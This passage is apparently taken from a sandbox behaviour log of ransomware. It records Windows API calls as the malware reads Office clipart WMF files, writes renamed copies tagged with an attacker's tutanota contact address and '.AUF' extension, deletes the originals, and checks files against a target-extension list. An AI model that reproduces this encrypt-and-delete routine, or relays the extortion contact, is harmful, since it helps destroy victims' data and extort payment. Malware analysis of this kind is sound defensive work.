dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0218.802] GetLastError () returned 0x0 [0218.802] ReadFile (in: hFile=0x1fc, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x8d6, lpOverlapped=0x0) returned 1 [0218.824] WriteFile (in: hFile=0x20c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x8e0, lpOverlapped=0x0) returned 1 [0218.824] ReadFile (in: hFile=0x1fc, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.824] WriteFile (in: hFile=0x20c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.825] SetEndOfFile (hFile=0x20c) returned 1 [0218.825] CloseHandle (hObject=0x20c) returned 1 [0218.825] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.825] SetEndOfFile (hFile=0x1fc) returned 1 [0218.825] CloseHandle (hObject=0x1fc) returned 1 [0218.826] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.826] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf")) returned 1 [0218.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0218.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0218.826] lstrlenW (lpString=".doc") returned 4 [0218.826] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.826] lstrlenW (lpString=".docx") returned 5 [0218.826] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0218.826] lstrlenW (lpString=".pdf") returned 4 [0218.826] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.826] lstrlenW (lpString=".xls") returned 4 [0218.826] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.826] lstrlenW (lpString=".xlsx") returned 5 [0218.826] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0218.826] lstrlenW (lpString=".ppt") returned 4 [0218.826] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0218.826] lstrlenW (lpString=".zip") returned 4 [0218.826] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.826] lstrlenW (lpString=".rar") returned 4 [0218.826] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.826] lstrlenW (lpString=".bz2") returned 4 [0218.826] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.826] lstrlenW (lpString=".7z") returned 3 [0218.826] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0218.826] lstrlenW (lpString=".dbf") returned 4 [0218.827] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0218.827] lstrlenW (lpString=".1cd") returned 4 [0218.827] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0218.827] lstrlenW (lpString=".jpg") returned 4 [0218.827] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.827] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=2966) returned 1 [0218.827] CloseHandle (hObject=0x1fc) returned 1 [0218.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf")) returned 0x20 [0218.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0218.828] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.828] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0218.828] GetLastError () returned 0x0 [0218.828] ReadFile (in: hFile=0x1fc, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0xb96, lpOverlapped=0x0) returned 1 [0218.862] WriteFile (in: hFile=0x20c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xba0, lpOverlapped=0x0) returned 1 [0218.864] ReadFile (in: hFile=0x1fc, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.864] WriteFile (in: hFile=0x20c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0218.864] SetEndOfFile (hFile=0x20c) returned 1 [0218.864] CloseHandle (hObject=0x20c) returned 1 [0218.864] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.864] SetEndOfFile (hFile=0x1fc) returned 1 [0218.865] CloseHandle (hObject=0x1fc) returned 1 [0218.865] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.865] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf")) returned 1 [0218.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0218.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0218.972] lstrlenW (lpString=".doc") returned 4 [0218.972] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.972] lstrlenW (lpString=".docx") returned 5 [0218.972] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0218.972] lstrlenW (lpString=".pdf") returned 4 [0218.972] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.972] lstrlenW (lpString=".xls") returned 4 [0218.972] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.972] lstrlenW (lpString=".xlsx") returned 5 [0218.972] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0218.972] lstrlenW (lpString=".ppt") returned 4 [0218.972] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0218.972] lstrlenW (lpString=".zip") returned 4 [0218.972] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.972] lstrlenW (lpString=".rar") returned 4 [0218.972] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.972] lstrlenW (lpString=".bz2") returned 4 [0218.972] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.972] lstrlenW (lpString=".7z") returned 3 [0218.972] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0218.972] lstrlenW (lpString=".dbf") returned 4 [0218.972] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0218.972] lstrlenW (lpString=".1cd") returned 4 [0218.972] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF") returned 58 [0218.972] lstrlenW (lpString=".jpg") returned 4 [0218.972] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0219.443] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=792) returned 1 [0219.443] CloseHandle (hObject=0x218) returned 1 [0219.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf")) returned 0x20 [0219.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0219.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0219.444] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.444] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0219.444] GetLastError () returned 0x0 [0219.444] ReadFile (in: hFile=0x218, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x318, lpOverlapped=0x0) returned 1 [0219.710] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x320, lpOverlapped=0x0) returned 1 [0219.710] ReadFile (in: hFile=0x218, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0219.711] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0219.711] SetEndOfFile (hFile=0x1e8) returned 1 [0219.711] CloseHandle (hObject=0x1e8) returned 1 [0219.711] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.711] SetEndOfFile (hFile=0x218) returned 1 [0219.712] CloseHandle (hObject=0x218) returned 1 [0219.712] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0219.712] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf")) returned 1 [0219.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0219.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0219.713] lstrlenW (lpString=".doc") returned 4 [0219.713] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0219.713] lstrlenW (lpString=".docx") returned 5 [0219.713] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0219.713] lstrlenW (lpString=".pdf") returned 4 [0219.713] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0219.713] lstrlenW (lpString=".xls") returned 4 [0219.713] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0219.713] lstrlenW (lpString=".xlsx") returned 5 [0219.713] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0219.713] lstrlenW (lpString=".ppt") returned 4 [0219.713] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0219.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0219.713] lstrlenW (lpString=".zip") returned 4 [0219.713] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0219.713] lstrlenW (lpString=".rar") returned 4 [0219.713] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0219.713] lstrlenW (lpString=".bz2") returned 4 [0219.713] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0219.713] lstrlenW (lpString=".7z") returned 3 [0219.713] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0219.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0219.713] lstrlenW (lpString=".dbf") returned 4 [0219.713] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0219.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0219.713] lstrlenW (lpString=".1cd") returned 4 [0219.713] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0219.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 63 [0219.713] lstrlenW (lpString=".jpg") returned 4 [0219.713] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0219.714] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=712) returned 1 [0219.714] CloseHandle (hObject=0x218) returned 1 [0219.714] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf")) returned 0x20 [0219.714] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0219.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0219.714] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.714] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0219.714] GetLastError () returned 0x0 [0219.714] ReadFile (in: hFile=0x218, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x2c8, lpOverlapped=0x0) returned 1 [0219.716] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x2d0, lpOverlapped=0x0) returned 1 [0219.717] ReadFile (in: hFile=0x218, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0219.717] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0219.717] SetEndOfFile (hFile=0x1e8) returned 1 [0219.717] CloseHandle (hObject=0x1e8) returned 1 [0219.717] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.717] SetEndOfFile (hFile=0x218) returned 1 [0219.717] CloseHandle (hObject=0x218) returned 1 [0219.717] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0219.718] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf")) returned 1 [0219.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0219.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0219.718] lstrlenW (lpString=".doc") returned 4 [0219.718] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0219.718] lstrlenW (lpString=".docx") returned 5 [0219.718] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0219.718] lstrlenW (lpString=".pdf") returned 4 [0219.718] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0219.718] lstrlenW (lpString=".xls") returned 4 [0219.718] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0219.718] lstrlenW (lpString=".xlsx") returned 5 [0219.718] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0219.718] lstrlenW (lpString=".ppt") returned 4 [0219.718] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0219.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0219.718] lstrlenW (lpString=".zip") returned 4 [0219.718] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0219.718] lstrlenW (lpString=".rar") returned 4 [0219.718] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0219.718] lstrlenW (lpString=".bz2") returned 4 [0219.718] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0219.718] lstrlenW (lpString=".7z") returned 3 [0219.718] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0219.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0219.718] lstrlenW (lpString=".dbf") returned 4 [0219.718] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0219.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0219.718] lstrlenW (lpString=".1cd") returned 4 [0219.718] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0219.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0219.718] lstrlenW (lpString=".jpg") returned 4 [0219.718] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0219.719] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=1932) returned 1 [0219.719] CloseHandle (hObject=0x218) returned 1 [0219.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf")) returned 0x20 [0219.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0219.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0219.720] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.720] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0219.720] GetLastError () returned 0x0 [0219.720] ReadFile (in: hFile=0x218, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x78c, lpOverlapped=0x0) returned 1 [0219.801] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x790, lpOverlapped=0x0) returned 1 [0219.802] ReadFile (in: hFile=0x218, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0219.802] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0219.802] SetEndOfFile (hFile=0x1e8) returned 1 [0220.045] CloseHandle (hObject=0x1e8) returned 1 [0220.051] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.051] SetEndOfFile (hFile=0x218) returned 1 [0220.052] CloseHandle (hObject=0x218) returned 1 [0220.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.052] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf")) returned 1 [0220.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0220.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0220.056] lstrlenW (lpString=".doc") returned 4 [0220.056] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.056] lstrlenW (lpString=".docx") returned 5 [0220.056] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.056] lstrlenW (lpString=".pdf") returned 4 [0220.056] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.056] lstrlenW (lpString=".xls") returned 4 [0220.056] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.056] lstrlenW (lpString=".xlsx") returned 5 [0220.056] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.056] lstrlenW (lpString=".ppt") returned 4 [0220.056] 